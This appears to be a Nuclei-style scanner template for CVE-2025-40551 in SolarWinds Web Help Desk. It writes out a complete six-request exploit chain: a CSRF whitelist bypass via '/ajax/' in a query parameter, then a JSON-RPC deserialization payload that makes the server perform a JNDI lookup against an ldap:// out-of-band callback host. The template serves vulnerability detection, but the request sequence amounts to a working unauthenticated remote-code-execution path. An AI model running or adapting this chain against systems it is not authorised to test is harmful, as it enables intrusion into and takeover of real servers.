id: CVE-2025-40551 info: name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE author: Horizon3.ai severity: critical description: | SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines. impact: | Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise. remediation: | Update SolarWinds Web Help Desk to version 2026.1 or later. reference: - https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/ - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551 - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm - https://nvd.nist.gov/vuln/detail/CVE-2025-40551 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-40551 cwe-id: CWE-502 epss-score: 0.86967 epss-percentile: 0.9945 metadata: verified: true max-request: 6 vendor: solarwinds product: web_help_desk shodan-query: http.favicon.hash:1895809524 tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast,kev,vkev flow: | http("initial_session") && http("login_pref_page") && http("trigger_saml_object") && http("create_jsonrpc_bridge") && http("create_malicious_object") && http("trigger_jndi_lookup") http: - id: initial_session method: GET path: - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa" headers: x-webobjects-recording: 1 matchers-condition: and matchers: - type: dsl dsl: - contains(tolower(all_headers), "x-webobjects-session-id") - contains(tolower(all_headers), "xsrf-token") - contains(toupper(all_headers), "JSESSIONID") internal: true condition: and - type: status status: - 200 internal: true extractors: - type: regex name: wosid part: header regex: - "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})" group: 1 internal: true - type: regex name: xsrf_token part: header group: 1 regex: - "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});" internal: true - id: login_pref_page method: GET path: - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref" headers: X-Xsrf-Token: "{{xsrf_token}}" matchers-condition: and matchers: - type: word part: body words: - externalAuthContainer - SAML 2.0 internal: true condition: and - type: status status: - 200 internal: true extractors: - type: regex name: externalAuthContainer part: body group: 1 regex: - 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)' internal: true - id: trigger_saml_object method: POST path: - "{{BaseURL}}/{{externalAuthContainer}}" headers: X-Xsrf-Token: "{{xsrf_token}}" body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}} matchers: - type: status status: - 200 internal: true - id: create_jsonrpc_bridge method: GET path: - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref" headers: X-Xsrf-Token: "{{xsrf_token}}" matchers-condition: and matchers: - type: word part: body words: - JSONRpcClient internal: true - type: status status: - 200 internal: true extractors: - type: regex name: jsonrpc_endpoint part: body group: 1 regex: - "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);" internal: true - id: create_malicious_object method: POST path: - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}" headers: X-Xsrf-Token: "{{xsrf_token}}" Content-Type: application/json body: | { "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf", "id":1, "method":"wopage.setVariableValueForName", "params":[ "malicious", { "javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool", "jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o" } ] } matchers: - type: status status: - 200 internal: true - id: trigger_jndi_lookup method: POST path: - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}" headers: X-Xsrf-Token: "{{xsrf_token}}" Content-Type: application/json body: | { "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf", "id":1, "method":"wopage.variableValueForName", "params":["malicious"] } matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: status status: - 200 # digest: 4a0a004730450220356b1f67eebac5d5235813b46100b764111f3b4edfba2338200ef0fb6b0fa691022100d69d85a9b75338108f8479ebcbe862c1e4a3c13528afeead3375a810dbc3688e:922c64590222798bb761d5b6d8e72950